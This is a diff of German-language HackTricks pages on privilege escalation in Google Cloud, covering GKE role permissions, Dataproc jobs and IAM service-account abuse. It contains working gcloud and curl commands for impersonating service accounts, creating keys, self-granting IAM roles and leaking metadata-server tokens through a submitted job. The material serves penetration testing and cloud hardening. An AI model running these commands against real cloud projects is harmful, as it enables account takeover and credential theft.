@@ -44,44 +50,46 @@ expiry-key: "{.credential.token_expiry}"
|
||||
token-key: "{.credential.access_token}"
|
||||
name: gcp
|
||||
```
|
||||
</details>
|
||||
|
||||
### `container.roles.escalate` | `container.clusterRoles.escalate`
|
||||
|
||||
**Kubernetes** verhindert standardmäßig, dass Principals **Rollen** und **ClusterRollen** mit **mehr Berechtigungen** erstellen oder **aktualisieren**, als die, die der Principal hat. Ein **GCP**-Principal mit diesen Berechtigungen wird jedoch in der Lage sein, **Rollen/ClusterRollen mit mehr Berechtigungen** zu erstellen/aktualisieren, als er besitzt, und damit den Kubernetes-Schutz gegen dieses Verhalten zu umgehen.
|
||||
**Kubernetes** verhindert standardmäßig, dass principals **Roles** und **ClusterRoles** **erstellen** oder **aktualisieren** können, die über **mehr Berechtigungen** verfügen als der principal selbst. Ein **GCP** principal mit diesen Berechtigungen wird jedoch in der Lage sein, **Roles/ClusterRoles** mit mehr Berechtigungen **zu erstellen/aktualisieren**, als er zuvor besaß, und damit die Kubernetes-Schutzmechanismen effektiv umgehen.
|
||||
|
||||
**`container.roles.create`** und/oder **`container.roles.update`** ODER **`container.clusterRoles.create`** und/oder **`container.clusterRoles.update`** sind ebenfalls **notwendig**, um diese Privilegieneskalationsaktionen durchzuführen.
|
||||
**`container.roles.create`** und/oder **`container.roles.update`** ODER **`container.clusterRoles.create`** und/oder **`container.clusterRoles.update`** sind **auch** **notwendig**, um diese Privilegieneskalationsaktionen durchzuführen.
|
||||
|
||||
### `container.roles.bind` | `container.clusterRoles.bind`
|
||||
|
||||
**Kubernetes** verhindert standardmäßig, dass Principals **RoleBindings** und **ClusterRoleBindings** erstellen oder **aktualisieren**, um **mehr Berechtigungen** zu vergeben, als die, die der Principal hat. Ein **GCP**-Principal mit diesen Berechtigungen wird jedoch in der Lage sein, **RoleBindings/ClusterRoleBindings mit mehr Berechtigungen** zu erstellen/aktualisieren, als er hat, und damit den Kubernetes-Schutz gegen dieses Verhalten zu umgehen.
|
||||
**Kubernetes** verhindert standardmäßig, dass principals **RoleBindings** und **ClusterRoleBindings** **erstellen** oder **aktualisieren** können, um **mehr Berechtigungen** zu vergeben, als der principal hat. Ein **GCP** principal mit diesen Rechten kann jedoch **RoleBindings/ClusterRoleBindings** mit mehr Berechtigungen **erstellen/aktualisieren**, als er besitzt, und damit die Kubernetes-Schutzmaßnahmen umgehen.
|
||||
|
||||
**`container.roleBindings.create`** und/oder **`container.roleBindings.update`** ODER **`container.clusterRoleBindings.create`** und/oder **`container.clusterRoleBindings.update`** sind ebenfalls **notwendig**, um diese Privilegieneskalationsaktionen durchzuführen.
|
||||
**`container.roleBindings.create`** und/oder **`container.roleBindings.update`** ODER **`container.clusterRoleBindings.create`** und/oder **`container.clusterRoleBindings.update`** sind ebenfalls **notwendig**, um diese Privilegieneskalationen durchzuführen.
|
||||
|
||||
### `container.cronJobs.create` | `container.cronJobs.update` | `container.daemonSets.create` | `container.daemonSets.update` | `container.deployments.create` | `container.deployments.update` | `container.jobs.create` | `container.jobs.update` | `container.pods.create` | `container.pods.update` | `container.replicaSets.create` | `container.replicaSets.update` | `container.replicationControllers.create` | `container.replicationControllers.update` | `container.scheduledJobs.create` | `container.scheduledJobs.update` | `container.statefulSets.create` | `container.statefulSets.update`
|
||||
|
||||
All diese Berechtigungen ermöglichen es Ihnen, **eine Ressource zu erstellen oder zu aktualisieren**, bei der Sie einen **Pod** definieren können. Indem Sie einen Pod definieren, können Sie **die SA** angeben, die **angehängt** wird, und das **Image**, das **ausgeführt** wird. Daher können Sie ein Image ausführen, das **das Token der SA an Ihren Server exfiltriert**, wodurch Sie auf jedes Dienstkonto eskalieren können.\
|
||||
All diese Berechtigungen erlauben es dir, eine Ressource **zu erstellen oder zu aktualisieren**, in der du einen **Pod** **definieren** kannst. Wenn du einen Pod definierst, kannst du das **SA** angeben, das **angehängt** wird, und das **Image**, das **ausgeführt** wird; dadurch kannst du ein Image starten, das das **Token des SA an deinen Server exfiltriert**, sodass du zu jedem Service Account eskalieren kannst.\
|
||||
Für weitere Informationen siehe:
|
||||
|
||||
Da wir uns in einer GCP-Umgebung befinden, werden Sie auch in der Lage sein, die **Nodepool GCP SA** vom **Metadaten**-Dienst abzurufen und **Privilegien in GCP zu eskalieren** (standardmäßig wird die Compute SA verwendet).
|
||||
Da wir uns in einer **GCP**-Umgebung befinden, kannst du außerdem das Nodepool-GCP-**SA** vom **metadata service** abrufen und Privilegien in **GCP** eskalieren (standardmäßig wird das Compute-SA verwendet).
|
||||
|
||||
### `container.secrets.get` | `container.secrets.list`
|
||||
|
||||
Wie [**auf dieser Seite erklärt**,](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#listing-secrets) können Sie mit diesen Berechtigungen die **Tokens** aller **SAs von Kubernetes** **lesen**, sodass Sie zu ihnen eskalieren können.
|
||||
Wie [**auf dieser Seite erklärt**, ](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#listing-secrets)kannst du mit diesen Berechtigungen die **Tokens** aller **SAs von Kubernetes** **lesen**, sodass du zu ihnen eskalieren kannst.
|
||||
|
||||
### `container.pods.exec`
|
||||
|
||||
Mit dieser Berechtigung können Sie **in Pods ausführen**, was Ihnen **Zugriff** auf alle **Kubernetes SAs, die in Pods ausgeführt werden**, gibt, um Privilegien innerhalb von K8s zu eskalieren. Sie werden auch in der Lage sein, die **GCP Service Account** des **NodePools** zu **stehlen**, wodurch Sie die Privilegien in GCP eskalieren.
|
||||
Mit dieser Berechtigung kannst du in Pods **exec**en, was dir **Zugriff** auf alle **Kubernetes SAs**, die in Pods laufen, gibt, um innerhalb von **K8s** Privilegien zu eskalieren. Außerdem kannst du das **GCP Service Account** des **NodePool** stehlen und damit Privilegien in **GCP** eskalieren.
|
||||
|
||||
### `container.pods.portForward`
|
||||
|
||||
Wie **auf dieser Seite erklärt**, können Sie mit diesen Berechtigungen **auf lokale Dienste** zugreifen, die in **Pods** ausgeführt werden und Ihnen möglicherweise ermöglichen, **Privilegien in Kubernetes** (und in **GCP**, wenn Sie es schaffen, mit dem Metadaten-Dienst zu kommunizieren) zu eskalieren.**
|
||||
Wie auf dieser Seite erklärt, ermöglichen dir diese Berechtigungen den Zugriff auf lokale Dienste, die in **Pods** laufen und dir möglicherweise erlauben, Privilegien in **Kubernetes** zu eskalieren (und in **GCP**, falls du es schaffst, mit dem **metadata service** zu kommunizieren).
|
||||
|
||||
### `container.serviceAccounts.createToken`
|
||||
|
||||
Aufgrund des **Namens** der **Berechtigung** sieht es so aus, als würde es Ihnen erlauben, Tokens der K8s Service Accounts zu generieren, sodass Sie zu **jedem SA** innerhalb von Kubernetes **eskalieren** können. Ich konnte jedoch keinen API-Endpunkt finden, um ihn zu verwenden, lassen Sie es mich wissen, wenn Sie ihn finden.
|
||||
Aufgrund des Namens der Berechtigung sieht es so aus, als würde sie dir erlauben, Tokens von **K8s Service Accounts** zu erzeugen, sodass du auf jeden **SA** innerhalb von **Kubernetes** eskalieren könntest. Allerdings konnte ich keinen API-Endpunkt finden, um sie zu nutzen — sag mir Bescheid, wenn du einen findest.
|
||||
|
||||
### `container.mutatingWebhookConfigurations.create` | `container.mutatingWebhookConfigurations.update`
|
||||
|
||||
Diese Berechtigungen könnten Ihnen ermöglichen, Privilegien in Kubernetes zu eskalieren, aber wahrscheinlicher ist, dass Sie sie missbrauchen könnten, um **im Cluster persistent zu bleiben**.\
|
||||
Für weitere Informationen [**folgen Sie diesem Link**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#malicious-admission-controller).
|
||||
Diese Berechtigungen könnten dir erlauben, Privilegien in **Kubernetes** zu eskalieren; wahrscheinlicher ist jedoch, dass du sie missbrauchen könntest, um im Cluster **persistiert** zu bleiben.\
|
||||
Für weitere Informationen [**folge diesem Link**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#malicious-admission-controller).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,17 +10,19 @@
|
||||
|
||||
### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get`
|
||||
|
||||
Ich konnte mit dieser Methode keine Reverse-Shell erhalten, jedoch ist es möglich, das SA-Token vom Metadaten-Endpunkt mit der unten beschriebenen Methode zu leaken.
|
||||
Mit dieser Methode konnte ich keine reverse shell bekommen; es ist jedoch möglich, den SA-Token vom Metadata-Endpoint zu leaken, wie unten beschrieben.
|
||||
|
||||
#### Schritte zur Ausnutzung
|
||||
#### Steps to exploit
|
||||
|
||||
- Platzieren Sie das Job-Skript im GCP-Bucket.
|
||||
- Lege das Job-Skript in den GCP-Bucket.
|
||||
|
||||
- Reichen Sie einen Job bei einem Dataproc-Cluster ein.
|
||||
- Sende einen Job an einen Dataproc-Cluster.
|
||||
|
||||
- Verwenden Sie den Job, um auf den Metadaten-Server zuzugreifen.
|
||||
- Nutze den Job, um auf den Metadata-Server zuzugreifen.
|
||||
|
||||
- Leaken Sie das Dienstkonto-Token, das vom Cluster verwendet wird.
|
||||
- Leake das vom Cluster verwendete Service-Account-Token.
|
||||
|
||||
<details><summary>Python-Skript zum Abrufen des SA-Tokens vom Metadata-Server</summary>
|
||||
```python
|
||||
import requests
|
||||
|
||||
@@ -41,7 +43,9 @@ return None
|
||||
if __name__ == "__main__":
|
||||
fetch_metadata_token()
|
||||
```
|
||||
</details>
|
||||
|
||||
<details><summary>Bösartigen Job an Dataproc-Cluster senden</summary>
|
||||
```bash
|
||||
# Copy the script to the storage bucket
|
||||
gsutil cp <python-script> gs://<bucket-name>/<python-script>
|
||||
@@ -51,4 +55,6 @@ gcloud dataproc jobs submit pyspark gs://<bucket-name>/<python-script> \
|
||||
--cluster=<cluster-name> \
|
||||
--region=<region>
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM
|
||||
|
||||
Finden Sie weitere Informationen zu IAM in:
|
||||
Weitere Informationen zu IAM finden Sie in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
@@ -12,40 +12,54 @@ Finden Sie weitere Informationen zu IAM in:
|
||||
|
||||
### `iam.roles.update` (`iam.roles.get`)
|
||||
|
||||
Ein Angreifer mit den genannten Berechtigungen kann eine Ihnen zugewiesene Rolle aktualisieren und Ihnen zusätzliche Berechtigungen für andere Ressourcen wie:
|
||||
Ein Angreifer mit den genannten Berechtigungen kann eine Ihnen zugewiesene Rolle aktualisieren und Ihnen zusätzliche Berechtigungen für andere Ressourcen geben, z. B.:
|
||||
|
||||
<details><summary>IAM-Rolle aktualisieren, um Berechtigungen hinzuzufügen</summary>
|
||||
```bash
|
||||
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
|
||||
```
|
||||
Sie können ein Skript zur Automatisierung der **Erstellung, Ausnutzung und Bereinigung einer verwundbaren Umgebung hier** finden und ein Python-Skript, um dieses Privileg [**hier**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py) auszunutzen. Für weitere Informationen siehe die [**ursprüngliche Forschung**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
</details>
|
||||
|
||||
Du findest ein script, um die **creation, exploit and cleaning of a vuln environment here** zu automatisieren und ein python script, um dieses Privileg auszunutzen [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Für mehr Informationen siehe die [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)
|
||||
|
||||
Ein Angreifer mit den genannten Berechtigungen wird in der Lage sein, **ein Zugriffstoken anzufordern, das zu einem Dienstkonto gehört**, sodass es möglich ist, ein Zugriffstoken eines Dienstkontos mit mehr Berechtigungen als unserem anzufordern.
|
||||
Ein Angreifer mit den genannten Berechtigungen kann ein **access token anfordern, das zu einem Service Account gehört**, wodurch es möglich ist, ein access token eines Service Accounts mit mehr Berechtigungen als unserem anzufordern.
|
||||
|
||||
<details><summary>Service Account impersonieren, um ein access token zu erhalten</summary>
|
||||
```bash
|
||||
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
auth print-access-token
|
||||
```
|
||||
Sie finden ein Skript zur Automatisierung der [**Erstellung, Ausnutzung und Bereinigung einer verwundbaren Umgebung hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) und ein Python-Skript, um dieses Privileg auszunutzen [**hier**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Für weitere Informationen siehe die [**ursprüngliche Forschung**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
</details>
|
||||
|
||||
Sie finden ein Skript, das die [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) automatisiert, und ein Python-Skript, um dieses Privileg [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py) auszunutzen. Für mehr Informationen siehe die [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccountKeys.create`
|
||||
|
||||
Ein Angreifer mit den genannten Berechtigungen wird in der Lage sein, **einen benutzerverwalteten Schlüssel für ein Dienstkonto zu erstellen**, was uns den Zugriff auf GCP als dieses Dienstkonto ermöglicht.
|
||||
Ein Angreifer mit den genannten Berechtigungen kann **create a user-managed key for a Service Account**, was es uns ermöglicht, auf GCP als dieser Service Account zuzugreifen.
|
||||
|
||||
<details><summary>Service Account key erstellen und authentifizieren</summary>
|
||||
```bash
|
||||
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
|
||||
|
||||
gcloud auth activate-service-account --key-file=sa_cred.json
|
||||
```
|
||||
Sie finden ein Skript zur Automatisierung der [**Erstellung, Ausnutzung und Bereinigung einer verwundbaren Umgebung hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) und ein Python-Skript, um dieses Privileg auszunutzen [**hier**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Für weitere Informationen siehe die [**ursprüngliche Forschung**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
</details>
|
||||
|
||||
Beachten Sie, dass **`iam.serviceAccountKeys.update` nicht funktioniert, um den Schlüssel** eines SA zu ändern, da dafür auch die Berechtigung `iam.serviceAccountKeys.create` erforderlich ist.
|
||||
Sie können ein Script finden, um die [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) zu automatisieren und ein Python-Script, um dieses Privileg auszunutzen [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Für mehr Informationen siehe die [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
Beachte, dass **`iam.serviceAccountKeys.update` nicht funktioniert, um den Key** eines Service Accounts zu ändern, weil dafür die Berechtigung `iam.serviceAccountKeys.create` ebenfalls benötigt wird.
|
||||
|
||||
### `iam.serviceAccounts.implicitDelegation`
|
||||
|
||||
Wenn Sie die **`iam.serviceAccounts.implicitDelegation`** Berechtigung für ein Service-Konto haben, das die Berechtigung **`iam.serviceAccounts.getAccessToken`** für ein drittes Service-Konto hat, können Sie implicitDelegation verwenden, um **ein Token für dieses dritte Service-Konto zu erstellen**. Hier ist ein Diagramm zur Erklärung.
|
||||
Wenn Sie die Berechtigung **`iam.serviceAccounts.implicitDelegation`** auf einem Service Account haben, der die Berechtigung **`iam.serviceAccounts.getAccessToken`** auf einem dritten Service Account besitzt, können Sie implicitDelegation verwenden, um **ein Token für diesen dritten Service Account zu erstellen**. Hier ist ein Diagramm zur Veranschaulichung.
|
||||
|
||||

|
||||
|
||||
Beachten Sie, dass laut der [**Dokumentation**](https://cloud.google.com/iam/docs/understanding-service-accounts) die Delegation von `gcloud` nur funktioniert, um ein Token mit der [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) Methode zu generieren. Hier ist, wie Sie ein Token direkt über die API erhalten:
|
||||
Beachte, dass laut der [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts) die Delegation von `gcloud` nur funktioniert, um ein Token mit der Methode [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken) zu erzeugen. Hier wird gezeigt, wie man ein Token direkt über die API erhält:
|
||||
|
||||
<details><summary>Zugriffstoken mit Delegation über die API erzeugen</summary>
|
||||
```bash
|
||||
curl -X POST \
|
||||
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
|
||||
@@ -56,23 +70,27 @@ curl -X POST \
|
||||
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
|
||||
}'
|
||||
```
|
||||
Sie können ein Skript zur Automatisierung der [**Erstellung, Ausnutzung und Bereinigung einer verwundbaren Umgebung hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) und ein Python-Skript zur Ausnutzung dieses Privilegs [**hier**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py) finden. Für weitere Informationen lesen Sie die [**ursprüngliche Forschung**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
</details>
|
||||
|
||||
Sie finden ein Skript, um die [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) zu automatisieren und ein python-Skript, um dieses Privileg auszunutzen [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Für mehr Informationen siehe die [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.signBlob`
|
||||
|
||||
Ein Angreifer mit den genannten Berechtigungen wird in der Lage sein, **beliebige Payloads in GCP zu signieren**. Es wird also möglich sein, **ein unsigniertes JWT des SA zu erstellen und es dann als Blob zu senden, um das JWT vom SA, das wir anvisieren, signieren zu lassen**. Für weitere Informationen [**lesen Sie dies**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
|
||||
Ein Angreifer mit den genannten Berechtigungen kann **beliebige Payloads in GCP signieren**. Es ist also möglich, **ein nicht signiertes JWT des SA zu erstellen und es dann als Blob zu senden, damit das JWT vom Ziel-SA signiert wird**. Für mehr Informationen [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
|
||||
|
||||
Sie können ein Skript zur Automatisierung der [**Erstellung, Ausnutzung und Bereinigung einer verwundbaren Umgebung hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) und ein Python-Skript zur Ausnutzung dieses Privilegs [**hier**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) und [**hier**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py) finden. Für weitere Informationen lesen Sie die [**ursprüngliche Forschung**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
Sie finden ein Skript, um die [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) zu automatisieren und ein python-Skript, um dieses Privileg auszunutzen [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) und [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Für mehr Informationen siehe die [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.signJwt`
|
||||
|
||||
Ein Angreifer mit den genannten Berechtigungen wird in der Lage sein, **wohlgeformte JSON-Web-Token (JWTs) zu signieren**. Der Unterschied zur vorherigen Methode besteht darin, dass **wir anstelle von Google ein Blob, das ein JWT enthält, signieren zu lassen, die signJWT-Methode verwenden, die bereits ein JWT erwartet**. Dies macht die Verwendung einfacher, aber Sie können nur JWTs anstelle von beliebigen Bytes signieren.
|
||||
Ein Angreifer mit den genannten Berechtigungen kann **wohlgeformte JSON web tokens (JWTs) signieren**. Der Unterschied zur vorherigen Methode ist, dass **anstatt google ein Blob signieren zu lassen, das ein JWT enthält, wir die signJWT-Methode verwenden, die bereits ein JWT erwartet**. Das macht die Nutzung einfacher, aber du kannst nur JWTs signieren, statt beliebiger Bytes.
|
||||
|
||||
Sie können ein Skript zur Automatisierung der [**Erstellung, Ausnutzung und Bereinigung einer verwundbaren Umgebung hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) und ein Python-Skript zur Ausnutzung dieses Privilegs [**hier**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py) finden. Für weitere Informationen lesen Sie die [**ursprüngliche Forschung**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
Sie finden ein Skript, um die [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) zu automatisieren und ein python-Skript, um dieses Privileg auszunutzen [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Für mehr Informationen siehe die [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.setIamPolicy` <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a>
|
||||
|
||||
Ein Angreifer mit den genannten Berechtigungen wird in der Lage sein, **IAM-Richtlinien zu Dienstkonten hinzuzufügen**. Sie können dies ausnutzen, um **sich selbst** die Berechtigungen zu gewähren, die Sie benötigen, um das Dienstkonto zu impersonieren. Im folgenden Beispiel gewähren wir uns die Rolle `roles/iam.serviceAccountTokenCreator` über das interessante SA:
|
||||
Ein Angreifer mit den genannten Berechtigungen kann **IAM-Policies zu Service Accounts hinzufügen**. Du kannst dies ausnutzen, um dir **selbst** die Berechtigungen zu gewähren, die du benötigst, um dich als das Servicekonto auszugeben. Im folgenden Beispiel gewähren wir uns die Rolle `roles/iam.serviceAccountTokenCreator` für das interessante SA:
|
||||
|
||||
<details><summary>IAM-Policy-Bindung zum Servicekonto hinzufügen</summary>
|
||||
```bash
|
||||
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
--member="user:username@domain.com" \
|
||||
@@ -83,45 +101,55 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i
|
||||
--member="user:username@domain.com" \
|
||||
--role="roles/iam.serviceAccountUser"
|
||||
```
|
||||
Sie finden ein Skript zur Automatisierung der [**Erstellung, Ausnutzung und Bereinigung einer verwundbaren Umgebung hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
|
||||
</details>
|
||||
|
||||
Du findest ein Skript zur Automatisierung der [**Erstellung, Exploit und Bereinigung einer verwundbaren Umgebung hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
|
||||
|
||||
### `iam.serviceAccounts.actAs`
|
||||
|
||||
Die **iam.serviceAccounts.actAs-Berechtigung** ist wie die **iam:PassRole-Berechtigung von AWS**. Sie ist entscheidend für die Ausführung von Aufgaben, wie das Starten einer Compute Engine-Instanz, da sie die Fähigkeit gewährt, "als" ein Dienstkonto zu agieren, was eine sichere Berechtigungsverwaltung gewährleistet. Ohne dies könnten Benutzer unrechtmäßigen Zugriff erhalten. Darüber hinaus umfasst die Ausnutzung der **iam.serviceAccounts.actAs** verschiedene Methoden, von denen jede eine Reihe von Berechtigungen erfordert, im Gegensatz zu anderen Methoden, die nur eine benötigen.
|
||||
Die Berechtigung `iam.serviceAccounts.actAs` ist vergleichbar mit der `iam:PassRole`-Berechtigung von AWS. Sie ist essenziell, um Aufgaben auszuführen, z. B. das Starten einer Compute Engine-Instanz, da sie die Fähigkeit gewährt, "actAs" ein Servicekonto auszuführen und damit eine sichere Rechteverwaltung ermöglicht. Ohne diese Berechtigung könnten Benutzer unberechtigten Zugriff erlangen. Außerdem beinhaltet das Ausnutzen von `iam.serviceAccounts.actAs` verschiedene Methoden, die jeweils eine Menge von Berechtigungen erfordern — im Gegensatz zu anderen Methoden, die nur eine einzelne Berechtigung benötigen.
|
||||
|
||||
#### Dienstkonto-Impersonation <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
#### Service account impersonation <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
|
||||
Die Impersonation eines Dienstkontos kann sehr nützlich sein, um **neue und bessere Berechtigungen zu erhalten**. Es gibt drei Möglichkeiten, wie Sie [ein anderes Dienstkonto impersonieren können](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
|
||||
Die Impersonation (Vortäuschen) eines Servicekontos kann sehr nützlich sein, um neue und bessere Privilegien zu erhalten. Es gibt drei Wege, wie man ein anderes Servicekonto impersonifizieren kann:
|
||||
|
||||
- Authentifizierung **mit RSA-Privatschlüsseln** (oben behandelt)
|
||||
- Autorisierung **mit Cloud IAM-Richtlinien** (hier behandelt)
|
||||
- **Bereitstellung von Jobs auf GCP-Diensten** (mehr anwendbar auf den Kompromiss eines Benutzerkontos)
|
||||
- Authentifizierung mittels RSA-Privatschlüsseln (weiter oben behandelt)
|
||||
- Autorisierung mittels Cloud IAM policies (hier behandelt)
|
||||
- Deployment von Jobs auf GCP-Services (mehr relevant bei der Kompromittierung eines Benutzerkontos)
|
||||
|
||||
### `iam.serviceAccounts.getOpenIdToken`
|
||||
|
||||
Ein Angreifer mit den genannten Berechtigungen wird in der Lage sein, ein OpenID JWT zu generieren. Diese werden verwendet, um Identität zu bestätigen und tragen nicht unbedingt eine implizite Autorisierung gegen eine Ressource.
|
||||
Ein Angreifer mit den genannten Rechten kann ein OpenID JWT erzeugen. Diese werden verwendet, um Identität zu bestätigen und tragen nicht notwendigerweise eine implizite Autorisierung gegenüber einer Ressource.
|
||||
|
||||
Laut diesem [**interessanten Beitrag**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b) ist es notwendig, das Publikum (den Dienst, bei dem Sie das Token zur Authentifizierung verwenden möchten) anzugeben, und Sie erhalten ein von Google signiertes JWT, das das Dienstkonto und das Publikum des JWT angibt.
|
||||
Laut diesem [**interessanten Beitrag**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b) muss die audience (der Service, bei dem Du das Token zur Authentifizierung verwenden willst) angegeben werden; Du erhältst ein von google signiertes JWT, das das Servicekonto und die audience des JWT angibt.
|
||||
|
||||
Sie können ein OpenIDToken generieren (wenn Sie den Zugriff haben) mit:
|
||||
Du kannst ein OpenIDToken erzeugen (wenn Du Zugriff hast) mit:
|
||||
|
||||
<details><summary>OpenID-Token für Servicekonto erzeugen</summary>
|
||||
```bash
|
||||
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
|
||||
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
|
||||
# Then, generate token
|
||||
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
|
||||
```
|
||||
Dann können Sie es einfach verwenden, um auf den Dienst zuzugreifen mit:
|
||||
</details>
|
||||
|
||||
Dann kannst du es einfach verwenden, um auf den Service zuzugreifen mit:
|
||||
|
||||
<details><summary>Use OpenID token to authenticate</summary>
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
|
||||
```
|
||||
Einige Dienste, die die Authentifizierung über diese Art von Tokens unterstützen, sind:
|
||||
</details>
|
||||
|
||||
Einige Dienste, die Authentifizierung über diese Art von Tokens unterstützen, sind:
|
||||
|
||||
- [Google Cloud Run](https://cloud.google.com/run/)
|
||||
